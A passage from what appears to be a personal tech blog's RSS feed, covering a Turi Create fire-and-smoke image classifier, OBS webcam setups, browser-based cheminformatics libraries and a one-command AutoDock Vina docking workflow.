<h3 id="making-an-sframe">Making an SFrame</h3>
<div class="codehilite">
<pre><span></span><code><span class="nt">!pip</span><span class="na"> install turicreate</span>
</code></pre>
</div>
<p>\</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">turicreate</span> <span class="k">as</span> <span class="nn">tc</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">image_analysis</span><span class="o">.</span><span class="n">load_images</span><span class="p">(</span><span class="s2">"./train"</span><span class="p">,</span> <span class="n">with_path</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">data</span><span class="p">[</span><span class="s2">"label"</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="s2">"path"</span><span class="p">]</span><span class="o">.</span><span class="n">apply</span><span class="p">(</span><span class="k">lambda</span> <span class="n">path</span><span class="p">:</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">path</span><span class="p">)))</span>
<span class="nb">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">data</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'fire-smoke.sframe'</span><span class="p">)</span>
</code></pre>
</div>
<p>\</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">+-------------------------+------------------------+</span>
<span class="err">|</span><span class="w"> </span><span class="err">path</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">image</span><span class="w"> </span><span class="err">|</span>
<span class="nt">+-------------------------+------------------------+</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/1.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/10.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/100.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/101.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/102.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/103.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/104.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/105.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/106.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/107.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="nt">+-------------------------+------------------------+</span>
<span class="nt">[2028</span><span class="na"> rows x 2 columns]</span>
<span class="na">Note</span><span class="p">:</span><span class="err"> </span><span class="nc">Only</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">head</span><span class="err"> </span><span class="nc">of</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">SFrame</span><span class="err"> </span><span class="nc">is</span><span class="err"> </span><span class="nc">printed.</span>
<span class="nt">You</span><span class="na"> can use print_rows(num_rows=m, num_columns=n) to print more rows and columns.</span>
<span class="na">+-------------------------+------------------------+---------+</span>
<span class="p">|</span><span class="na"> path </span><span class="p">|</span><span class="na"> image </span><span class="p">|</span><span class="na"> label </span><span class="p">|</span>
<span class="nt">+-------------------------+------------------------+---------+</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/1.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/10.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/100.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/101.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/102.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/103.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/104.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/105.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/106.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/107.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="nt">+-------------------------+------------------------+---------+</span>
<span class="nt">[2028</span><span class="na"> rows x 3 columns]</span>
<span class="na">Note</span><span class="p">:</span><span class="err"> </span><span class="nc">Only</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">head</span><span class="err"> </span><span class="nc">of</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">SFrame</span><span class="err"> </span><span class="nc">is</span><span class="err"> </span><span class="nc">printed.</span>
<span class="nt">You</span><span class="na"> can use print_rows(num_rows=m, num_columns=n) to print more rows and columns.</span>
</code></pre>
</div>
<h3 id="making-the-model">Making the Model</h3>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">turicreate</span> <span class="k">as</span> <span class="nn">tc</span>
<span class="c1"># Load the data</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">SFrame</span><span class="p">(</span><span class="s1">'fire-smoke.sframe'</span><span class="p">)</span>
<span class="c1"># Make a train-test split</span>
<span class="n">train_data</span><span class="p">,</span> <span class="n">test_data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">random_split</span><span class="p">(</span><span class="mf">0.8</span><span class="p">)</span>
<span class="c1"># Create the model</span>
<span class="n">model</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">image_classifier</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">train_data</span><span class="p">,</span> <span class="n">target</span><span class="o">=</span><span class="s1">'label'</span><span class="p">)</span>
<span class="c1"># Save predictions to an SArray</span>
<span class="n">predictions</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">test_data</span><span class="p">)</span>
<span class="c1"># Evaluate the model and print the results</span>
<span class="n">metrics</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">evaluate</span><span class="p">(</span><span class="n">test_data</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">metrics</span><span class="p">[</span><span class="s1">'accuracy'</span><span class="p">])</span>
<span class="c1"># Save the model for later use in Turi Create</span>
<span class="n">model</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'fire-smoke.model'</span><span class="p">)</span>
<span class="c1"># Export for use in Core ML</span>
<span class="n">model</span><span class="o">.</span><span class="n">export_coreml</span><span class="p">(</span><span class="s1">'fire-smoke.mlmodel'</span><span class="p">)</span>
</code></pre>
</div>
<p>\</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">Performing</span><span class="na"> feature extraction on resized images...</span>
<span class="na">Completed 64/1633</span>
<span class="na">Completed 128/1633</span>
<span class="na">Completed 192/1633</span>
<span class="na">Completed 256/1633</span>
<span class="na">Completed 320/1633</span>
<span class="na">Completed 384/1633</span>
<span class="na">Completed 448/1633</span>
<span class="na">Completed 512/1633</span>
<span class="na">Completed 576/1633</span>
<span class="na">Completed 640/1633</span>
<span class="na">Completed 704/1633</span>
<span class="na">Completed 768/1633</span>
<span class="na">Completed 832/1633</span>
<span class="na">Completed 896/1633</span>
<span class="na">Completed 960/1633</span>
<span class="na">Completed 1024/1633</span>
<span class="na">Completed 1088/1633</span>
<span class="na">Completed 1152/1633</span>
<span class="na">Completed 1216/1633</span>
<span class="na">Completed 1280/1633</span>
<span class="na">Completed 1344/1633</span>
<span class="na">Completed 1408/1633</span>
<span class="na">Completed 1472/1633</span>
<span class="na">Completed 1536/1633</span>
<span class="na">Completed 1600/1633</span>
<span class="na">Completed 1633/1633</span>
<span class="na">PROGRESS</span><span class="p">:</span><span class="err"> </span><span class="nc">Creating</span><span class="err"> </span><span class="nc">a</span><span class="err"> </span><span class="nc">validation</span><span class="err"> </span><span class="nc">set</span><span class="err"> </span><span class="nc">from</span><span class="err"> </span><span class="nc">5</span><span class="err"> </span><span class="nc">percent</span><span class="err"> </span><span class="nc">of</span><span class="err"> </span><span class="nc">training</span><span class="err"> </span><span class="nc">data.</span><span class="err"> </span><span class="nc">This</span><span class="err"> </span><span class="nc">may</span><span class="err"> </span><span class="nc">take</span><span class="err"> </span><span class="nc">a</span><span class="err"> </span><span class="nc">while.</span>
<span class="w"> </span><span class="err">You</span><span class="w"> </span><span class="err">can</span><span class="w"> </span><span class="err">set</span><span class="w"> </span><span class="err">``validation_set=None``</span><span class="w"> </span><span class="err">to</span><span class="w"> </span><span class="err">disable</span><span class="w"> </span><span class="err">validation</span><span class="w"> </span><span class="err">tracking.</span>
<span class="nt">Logistic</span><span class="na"> regression</span><span class="p">:</span>
<span class="nt">--------------------------------------------------------</span>
<span class="nt">Number</span><span class="na"> of examples </span><span class="p">:</span><span class="err"> </span><span class="nc">1551</span>
<span class="nt">Number</span><span class="na"> of classes </span><span class="p">:</span><span class="err"> </span><span class="nc">3</span>
<span class="nt">Number</span><span class="na"> of feature columns </span><span class="p">:</span><span class="err"> </span><span class="nc">1</span>
<span class="nt">Number</span><span class="na"> of unpacked features </span><span class="p">:</span><span class="err"> </span><span class="nc">2048</span>
<span class="nt">Number</span><span class="na"> of coefficients </span><span class="p">:</span><span class="err"> </span><span class="nc">4098</span>
<span class="nt">Starting</span><span class="na"> L-BFGS</span>
<span class="na">--------------------------------------------------------</span>
<span class="na">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="p">|</span><span class="na"> Iteration </span><span class="p">|</span><span class="na"> Passes </span><span class="p">|</span><span class="na"> Step size </span><span class="p">|</span><span class="na"> Elapsed Time </span><span class="p">|</span><span class="na"> Training Accuracy </span><span class="p">|</span><span class="na"> Validation Accuracy </span><span class="p">|</span>
<span class="nt">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="err">|</span><span class="w"> </span><span class="err">0</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">6</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.018611</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.891830</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.553836</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.560976</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">1</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">10</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.390832</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">1.622383</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.744681</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.792683</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">2</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">11</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.488541</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">1.943987</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.733075</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.804878</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">3</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">14</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">2.442703</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">2.512545</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.727917</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.841463</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">4</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">15</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">2.442703</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">2.826964</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.861380</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.853659</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">9</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">28</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">2.340435</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">5.492035</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.941328</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">0.975610</span><span class="w"> </span><span class="err">|</span>
<span class="nt">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="nt">Performing</span><span class="na"> feature extraction on resized images...</span>
<span class="na">Completed 64/395</span>
<span class="na">Completed 128/395</span>
<span class="na">Completed 192/395</span>
<span class="na">Completed 256/395</span>
<span class="na">Completed 320/395</span>
<span class="na">Completed 384/395</span>
<span class="na">Completed 395/395</span>
<span class="na">0.9316455696202531</span>
</code></pre>
</div>
<p>We just got an accuracy of 94% on Training Data and 97% on Validation Data!</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-10-11-macOS-Virtual-Cam-OBS.html
</guid>
<title>
Trying Different Camera Setups
</title>
<description>
Comparison of different cameras setups for using as a webcam and tutorials for the same.
</description>
<link>https://web.navan.dev/posts/2020-10-11-macOS-Virtual-Cam-OBS.html</link>
<pubDate>Sun, 11 Oct 2020 16:12:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="trying-different-camera-setups">Trying Different Camera Setups</h1>
<ol start="0">
<li>Animated Overlays</li>
<li>Using a modern camera as your webcam</li>
<li>Using your phone's camera as your webcam</li>
<li>Using a USB Camera</li>
</ol>
<h2 id="comparison">Comparison</h2>
<p>Here are the results before you begin reading.</p>
<div class="b-dics">
<img src="/assets/posts/obs/normal.png" alt="Normal Webcam">
<img src="/assets/posts/obs/usb.png" alt="USB Webcam">
<img src="/assets/posts/obs/5S.png" alt="Camo iPhone 5S">
<img src="/assets/posts/obs/11.png" alt="Camo iPhone 11">
<img src="/assets/posts/obs/mirrorless.png" alt="Mirrorless Camera">
</div>
<h2 id="prerequisites">Prerequisites</h2>
<p>I am running macOS and iOS but I will try to link the same steps for Windows as well. If you are running Arch, I assume you already know what you are doing and are using this post as an inspiration and not a how-to guide.</p>
<p>I assume that you have Homebrew installed.</p>
<h3 id="obs-and-obs-virtual-cam">OBS and OBS-Virtual-Cam</h3>
<p><em>Description</em></p>
<pre><code>brew cask install obs
brew cask install obs-virtualcam
</code></pre>
<p>Windows users can install the latest version of the plugin from <a rel="noopener" target="_blank" href="https://obsproject.com/forum/resources/obs-virtualcam.949/">OBS-Forums</a></p>
<h2 id="0-animated-overlays">0. Animated Overlays</h2>
<p>I have always liked PewDiePie's animated border he uses in his videos</p>
<p><img src="/assets/posts/obs/01-pewdiepie.png" alt="Still grab from PewDiePie's video showing border" /></p>
<p>The border was apparently made by a YouTuber <a rel="noopener" target="_blank" href="https://www.youtube.com/watch?v=R__RUitpjnA">Sleepy Tanooki</a>. He posted a <a rel="noopener" target="_blank" href="https://drive.google.com/drive/folders/1mL3HAvTQfG7mTqwCp-9xCJ2IFhZUoJ5W">link to a Google Drive folder</a> containing the video file. (I will be using the video overlay for the example)</p>
<p>It is pretty simple to use overlays in OBS:</p>
<p>First, Create a new scene by clicking on the plus button on the bottom right corner.</p>
<p><img src="/assets/posts/obs/01-panel.png" alt="Bottom Panel of OBS" /></p>
<p>Now, in the Sources section click on the add button -> Video Capture Device -> Create New -> Choose your webcam from the Device section.</p>
<p>You may, resize if you want</p>
<p>After this, again click on the add button, but this time choose the <code>Media Source</code> option</p>
<p><img src="/assets/posts/obs/01-media-source.png" alt="Media Source Option" /></p>
<p>and, locate and choose the downloaded overlay.</p>
<h2 id="1-using-a-modern-camera-without-using-a-capture-card">1. Using a Modern Camera (Without using a Capture Card)</h2>
<p>I have a Sony mirrorless camera. Using Sony's <a rel="noopener" target="_blank" href="https://imagingedge.sony.net/en/ie-desktop.html">Imaging Edge Desktop</a>, you can use your laptop as a remote viewfinder and capture or record media.</p>
<p>After installing Image Edge Desktop or your Camera's equivalent, open the <code>Remote</code> application. </p>
<p><img src="/assets/posts/obs/02-remote.png" alt="Remote showing available cameras" /></p>
<p>Once you are able to see the output of the camera on the application, switch to OBS. Create a new scene, and this time choose <code>Window Capture</code> in the Sources menu. After you have chosen the appropriate window, you may transform/crop the output using the properties/filters options.</p>
<h2 id="21-using-your-iphone-using-quicktime">2.1 Using your iPhone using Quicktime</h2>
<p>Connect your iPhone via a USB cable, then Open Quicktime -> File -> New Movie Recording </p>
<p>In the Sources choose your device (No need to press record). You may open the camera app now.</p>
<p><img src="/assets/posts/obs/021-source.png" alt="Choose Source" /></p>
<p>Now, in OBS create a new scene, and in the sources choose the <code>Window Capture</code> option. You will need to rotate the source:</p>
<p><img src="/assets/posts/obs/021-rotate.png" alt="Rotation" /></p>
<h2 id="22-using-your-iphone-using-an-application-like-camo">2.2 Using your iPhone using an application like Camo</h2>
<p>Install the Camo app on your phone through the app store -> connect to Mac using USB cable, install the companion app and you are done.</p>
<p>I tried both my current iPhone and an old iPhone 5S</p>
<h2 id="3-a-usb-webcam">3. A USB Webcam</h2>
<p>The simplest solution, is to use a USB webcam. I used an old <a rel="noopener" target="_blank" href="https://www.logitech.com/en-in/product/hd-webcam-c310">Logitech C310</a> that was collecting dust. I was surprised to find that Logitech is still selling it after years and proudly advertising it! (5MP)</p>
<p>It did not sit well on my laptop, so I placed it on my definitely-not-Joby Gorrila Pod i had bought on Amazon for ~₹500</p>
<p><img src="/assets/posts/obs/3-usb.png" alt="USB Webcam" />
<head>
<link rel="stylesheet" href="/assets/posts/obs/dics.css"></p>
<script src="/assets/posts/obs/dics.js"></script>
<p></head></p>
<script>
new Dics({
container: document.querySelector('.b-dics')
});
</script>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2021-06-26-Cheminformatics-On-The-Web-2021.html
</guid>
<title>
Cheminformatics on the Web (2021)
</title>
<description>
Summarising Cheminformatics on the web in 2021.
</description>
<link>https://web.navan.dev/posts/2021-06-26-Cheminformatics-On-The-Web-2021.html</link>
<pubDate>Sat, 26 Jun 2021 13:04:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="cheminformatics-on-the-web-2021">Cheminformatics on the Web (2021)</h1>
<p>Here, I have compiled a list of some libraries and possible ideas.
I, personally, like static websites which don't require a server side application and can be hosted on platforms like GitHub Pages.
Or, just by opening the HTML file and running it in your browser.
WebAssembly (Wasm) has made running code written for other platforms on the web relatively easier.
Combine Wasm with some pure JavaScript libraries, and you get a platform to quickly amp up your speed in some common tasks.</p>
<h2 id="rdkit">RDKit</h2>
<p>RDKit bundles a minimal JavaScript Wrapper in their core RDKit suite.
This is perfect for generating 2D Figures (HTML5 Canva/SVGs), Canonical SMILES, Descriptors e.t.c</p>
<h3 id="substructure-matching">Substructure Matching</h3>
<p>This can be used to flag undesirable functional groups in a given compound.
Create a simple key:value pairs of name:SMARTS and use it to highlight substructure matches.
Thus, something like PostEra's Medicinal Chemistry Alert can be done with RDKit-JS alone.</p>
<p><img src="/assets/posts/cheminformatics-web/postera-demo.png" alt="PostEra Demo" /></p>
<h3 id="computing-properties">Computing Properties</h3>
<p>This is useful to calculate basic properties of a given compound.</p>
<p><img src="/assets/posts/cheminformatics-web/rdkit-demo.png" alt="RDKit-JS Demo" /></p>
<h2 id="webina-molecular-docking">Webina - Molecular Docking</h2>
<p>Webina is a JavaScript/Wasm library that runs AutoDock Vina, which can enable you to run Molecular Docking straight in the browser itself.</p>
<p><img src="/assets/posts/cheminformatics-web/webina-demo.png" alt="Webina Demo" /></p>
<p>Obviously, it takes a few hits in the time to complete the docking because the code is transpiled from C++ to Wasm.
But, the only major drawback (for now) is that it uses SharedArrayBuffer.
Due to Spectre, this feature was disabled on all browsers.
Currently, only Chromium-based and Firefox browsers have reimplemented and enabled it.
Hopefully, soon, this will be again supported by all major browsers.</p>
<h2 id="machine-learning">Machine Learning</h2>
<p>Frameworks have now evolved enough to allow exporting models to be able to run them through JavaScript/Wasm backend.
An example task can be <strong>NER</strong> or Named-entity Recognition.
It can be used to extract compounds or diseases from a large blob of text and then matched with external references.
Another example is target-prediction right in the browser: <a rel="noopener" target="_blank" href="http://chembl.blogspot.com/2021/03/target-predictions-in-browser-with.html">CHEMBL - Target Prediction in Browser</a></p>
<p>CHEMBL Group is first training the model using PyTorch (A Python ML Library), then converting it to the ONNX runtime.
A model like this can be directly implemented in TensorFlow, and then exported to be able to run with TensorFlow.js</p>
<h2 id="cheminfo-to-web">Cheminfo-to-web</h2>
<p>The project aims to port cheminformatics libraries into JavaScript via Emscripten.
They have ported InChI, Indigo, OpenBabel, and OpenMD</p>
<h3 id="kekulejs">Kekule.js</h3>
<p>It is written by @partridgejiang, who is behind the Cheminfo-to-web project</p>
<blockquote>
<p>It is molecule-centric, focusing on providing the ability to represent, draw, edit, compare and search molecule structures on web browsers.</p>
</blockquote>
<h2 id="browser-extensions">Browser Extensions</h2>
<p>The previous machine learning examples can be packaged as browser-extensions to perform tasks on the article you are reading.
With iOS 15 bringing WebExtensions to iOS/iPadOS, the same browser extension source code can be now used on Desktop and Mobile Phones.
You can quickly create an extension to convert PDB codes into links to RCSB, highlight SMILES, highlight output of NER models, e.t.c</p>
<h2 id="conclusion">Conclusion</h2>
<p>I have not even touched all the bases of cheminformatics for the web here.
There is still a lot more to unpack.
Hopefully, this encourages you to explore the world of cheminformatics on the web.</p>
<h2 id="further-reading">Further Reading</h2>
<p><a rel="noopener" target="_blank" href="https://blueobelisk.github.io/greasemonkey.html">Blueobelisk Userscripts</a></p>
<p><a rel="noopener" target="_blank" href="https://depth-first.com/articles/2019/05/01/javascript-for-cheminformatics-part-2/">JavaScript for Cheminformatics</a></p>
<p><a rel="noopener" target="_blank" href="https://unpkg.com/@rdkit/rdkit@2021.3.3/Code/MinimalLib/dist/GettingStartedInJS.html">Getting Started with RDKit-JS</a></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-06-01-Speeding-Up-Molecular-Docking-Workflow-AutoDock-Vina-and-PyMOL.html
</guid>
<title>
Workflow for Lightning Fast Molecular Docking Part One
</title>
<description>
This is my workflow for lightning fast molecular docking.
</description>
<link>https://web.navan.dev/posts/2020-06-01-Speeding-Up-Molecular-Docking-Workflow-AutoDock-Vina-and-PyMOL.html</link>
<pubDate>Mon, 01 Jun 2020 13:10:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="workflow-for-lightning-fast-molecular-docking-part-one">Workflow for Lightning Fast Molecular Docking Part One</h1>
<h2 id="my-setup">My Setup</h2>
<ul>
<li>macOS Catalina ( RIP 32bit app)</li>
<li>PyMOL</li>
<li>AutoDock Vina</li>
<li>Open Babel</li>
</ul>
<h2 id="one-command-docking">One Command Docking</h2>
<pre><code>obabel -:"$(pbpaste)" --gen3d -opdbqt -Otest.pdbqt && vina --receptor lu.pdbqt --center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3 --ligand test.pdbqt
</code></pre>
<p>To run this command you simple copy the SMILES structure of the ligand you want an it automatically takes it from your clipboard, generates the 3D structure in the AutoDock PDBQT format using Open Babel and then docks it with your receptor using AutoDock Vina, all with just one command.</p>
<p>Let me break down the commands</p>
<pre><code>obabel -:"$(pbpaste)" --gen3d -opdbqt -Otest.pdbqt
</code></pre>
<p><code>pbpaste</code> and <code>pbcopy</code> are macOS commands for pasting and copying from and to the clipboard. Linux users may install the <code>xclip</code> and <code>xsel</code> packages from their respective package managers and then insert these aliases into their bash_profile, zshrc e.t.c</p>
<pre><code>alias pbcopy='xclip -selection clipboard'
alias pbpaste='xclip -selection clipboard -o'
</code></pre>
<pre><code>$(pbpaste)
</code></pre>
<p>This is used in bash to evaluate the results of a command. In this scenario we are using it to get the contents of the clipboard.</p>
<p>The rest of the command is a normal Open Babel command to generate a 3D structure in PDBQT format and then save it as <code>test.pdbqt</code></p>
<pre><code>&&
</code></pre>
<p>This tells the terminal to only run the next part if the previous command runs successfully without any errors.</p>
<pre><code>vina --receptor lu.pdbqt --center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3 --ligand test.pdbqt
</code></pre>
